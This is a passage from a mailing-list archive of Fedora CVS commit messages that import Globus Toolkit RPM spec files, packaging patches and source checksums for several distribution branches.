      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-callout-error-0_4-1_fc11:EL-5:globus-authz-callout-error-0.4-1.fc11.src.rpm:1255243160


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:14:39 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:39:39 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz_callout_error-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:14:40 -0000	1.1
+++ sources	11 Oct 2009 06:39:39 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+02e46802cccf678d609340e14c8c9004  globus_authz_callout_error-0.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:40:37 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:40:37 +0000 (UTC)
Subject: rpms/globus-authz-callout-error/EL-4
	globus-authz-callout-error.patch, 
	NONE, 1.1 globus-authz-callout-error.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011064037.E5B5F11C02A1@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz-callout-error/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17967/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz-callout-error.patch 
	globus-authz-callout-error.spec import.log 
Log Message:
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


globus-authz-callout-error.patch:
 pkg_data_src.gpt.in |    7 -------
 1 file changed, 7 deletions(-)

--- NEW FILE globus-authz-callout-error.patch ---
diff -ur globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in
--- globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in	2007-08-03 22:59:33.000000000 +0200
+++ globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in	2009-08-07 05:53:17.037860285 +0200
@@ -21,13 +21,6 @@
                 </Version>
             </Dependency>
         </Source_Dependencies>
-        <Source_Dependencies Type="pgm_link" >
-            <Dependency Name="globus_common" >
-                <Version >
-                    <Simple_Version Major="3" />
-                </Version>
-            </Dependency>
-        </Source_Dependencies>
         <Build_Environment >
             <cflags >@GPT_PKG_CFLAGS@</cflags>
             <external_includes >@GPT_EXTERNAL_INCLUDES@</external_includes>


--- NEW FILE globus-authz-callout-error.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz-callout-error
%global _name %(tr - _ <<< %{name})
Version:	0.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz error library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/error globus_authz_callout_error-0.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz_callout_error-0.4
#		tar -zcf globus_authz_callout_error-0.4.tar.gz globus_authz_callout_error-0.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Remove extra packaging metadata:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6832
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz error library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3

%package doc
Summary:	Globus Toolkit - Globus authz error library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz error library (used by globus authz callouts)

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz error library (used by globus authz callouts) Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz error library (used by globus authz callouts) Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-callout-error-0_4-1_fc11:EL-4:globus-authz-callout-error-0.4-1.fc11.src.rpm:1255243217


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:14:39 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:40:37 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz_callout_error-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:14:40 -0000	1.1
+++ sources	11 Oct 2009 06:40:37 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+02e46802cccf678d609340e14c8c9004  globus_authz_callout_error-0.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:42:36 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:42:36 +0000 (UTC)
Subject: rpms/globus-authz-callout-error/F-12
	globus-authz-callout-error.patch, 
	NONE, 1.1 globus-authz-callout-error.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011064236.EC7BE11C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz-callout-error/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18495/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz-callout-error.patch 
	globus-authz-callout-error.spec import.log 
Log Message:
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


globus-authz-callout-error.patch:
 pkg_data_src.gpt.in |    7 -------
 1 file changed, 7 deletions(-)

--- NEW FILE globus-authz-callout-error.patch ---
diff -ur globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in
--- globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in	2007-08-03 22:59:33.000000000 +0200
+++ globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in	2009-08-07 05:53:17.037860285 +0200
@@ -21,13 +21,6 @@
                 </Version>
             </Dependency>
         </Source_Dependencies>
-        <Source_Dependencies Type="pgm_link" >
-            <Dependency Name="globus_common" >
-                <Version >
-                    <Simple_Version Major="3" />
-                </Version>
-            </Dependency>
-        </Source_Dependencies>
         <Build_Environment >
             <cflags >@GPT_PKG_CFLAGS@</cflags>
             <external_includes >@GPT_EXTERNAL_INCLUDES@</external_includes>


--- NEW FILE globus-authz-callout-error.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz-callout-error
%global _name %(tr - _ <<< %{name})
Version:	0.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz error library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/error globus_authz_callout_error-0.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz_callout_error-0.4
#		tar -zcf globus_authz_callout_error-0.4.tar.gz globus_authz_callout_error-0.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Remove extra packaging metadata:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6832
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz error library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3

%package doc
Summary:	Globus Toolkit - Globus authz error library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz error library (used by globus authz callouts)

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz error library (used by globus authz callouts) Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz error library (used by globus authz callouts) Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-callout-error-0_4-1_fc11:F-12:globus-authz-callout-error-0.4-1.fc11.src.rpm:1255243332


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:14:39 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:42:36 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz_callout_error-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:14:40 -0000	1.1
+++ sources	11 Oct 2009 06:42:36 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+02e46802cccf678d609340e14c8c9004  globus_authz_callout_error-0.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:48:08 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:48:08 +0000 (UTC)
Subject: rpms/globus-gram-protocol/devel globus-gram-protocol.patch, NONE,
	1.1 globus-gram-protocol.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011064808.CD9DC11C0296@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-protocol/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20085/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-protocol.patch globus-gram-protocol.spec 
	import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


globus-gram-protocol.patch:
 pkgdata/MyFilelists.pm |   16 +++++++++++++---
 scripts/Makefile.am    |    8 ++++----
 2 files changed, 17 insertions(+), 7 deletions(-)

--- NEW FILE globus-gram-protocol.patch ---
diff -ur globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm globus_gram_protocol-7.4/pkgdata/MyFilelists.pm
--- globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm	2002-08-08 22:58:36.000000000 +0200
+++ globus_gram_protocol-7.4/pkgdata/MyFilelists.pm	2009-08-05 08:17:05.333218834 +0200
@@ -20,13 +20,19 @@
 sub rtl_files {
   my $self = shift;
   my $result = [];
-  $self->{'filelist'}->flavored_files();
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
   $self->{'filelist'}->extract_dynamic_libs();
   $self->{'filelist'}->add_package_metadata_files('rtl');
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
+  $self->{'filelist'}->extract_libtool_libs();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
+
   return $result;
 }
 
@@ -34,15 +40,19 @@
 sub data_files {
   my $self = shift;
   my $result = [];
+
   $self->{'filelist'}->extract_perl_modules();
   $self->{'filelist'}->add_package_metadata_files('data', 'noflavor');
-
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
-  return $result;
+  $self->{'filelist'}->extract_data();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
 
+  return $result;
 }
 
 1;
diff -ur globus_gram_protocol-7.4.orig/scripts/Makefile.am globus_gram_protocol-7.4/scripts/Makefile.am
--- globus_gram_protocol-7.4.orig/scripts/Makefile.am	2002-08-08 22:58:37.000000000 +0200
+++ globus_gram_protocol-7.4/scripts/Makefile.am	2009-08-05 08:16:26.585305779 +0200
@@ -1,11 +1,11 @@
 include $(top_srcdir)/globus_automake_pre
 
 # Extra directories into which we install files
-globusperldir=$(GLOBUS_LOCATION)/lib/perl/Globus/GRAM
-perldocdir=$(GLOBUS_LOCATION)/share/doc/perl/Globus/GRAM
+globusperldir=$(perlmoduledir)/Globus/GRAM
+perldocdir=$(docdir)/$(PACKAGE)/perl/Globus/GRAM
 
 # Not handled by automake, because of :: in the destination file names
-MAN_DIR=$(GLOBUS_LOCATION)/man/man3
+MAN_DIR=$(mandir)/man3
 
 # What gets installed where
 globusperl_DATA = Error.pm JobSignal.pm JobState.pm
@@ -39,7 +39,7 @@
 # The default filelist-noinstDATA rule will list each of the man pages
 # in the filelist in the root directory. This added dependency will add those
 # files in the correct place as well.
-filelist-noinstDATA: filelist-man
+filelist: filelist-man
 
 filelist-man:
 	@list='$(noinst_DATA)'; for p in $$list; do \


--- NEW FILE globus-gram-protocol.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

%{!?perl_vendorlib: %global perl_vendorlib %(eval "`%{__perl} -V:installvendorlib`"; echo $installvendorlib)}

Name:		globus-gram-protocol
%global _name %(tr - _ <<< %{name})
Version:	7.4
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Protocol Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/protocol/source globus_gram_protocol-7.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_protocol-7.4
#		tar -zcf globus_gram_protocol-7.4.tar.gz globus_gram_protocol-7.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6815
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
%if %{?fedora}%{!?fedora:0} || %{?rhel}%{!?rhel:0} >= 4
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
%else
Requires:	perl
%endif
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Protocol Library Development Files
Group:		Development/Libraries
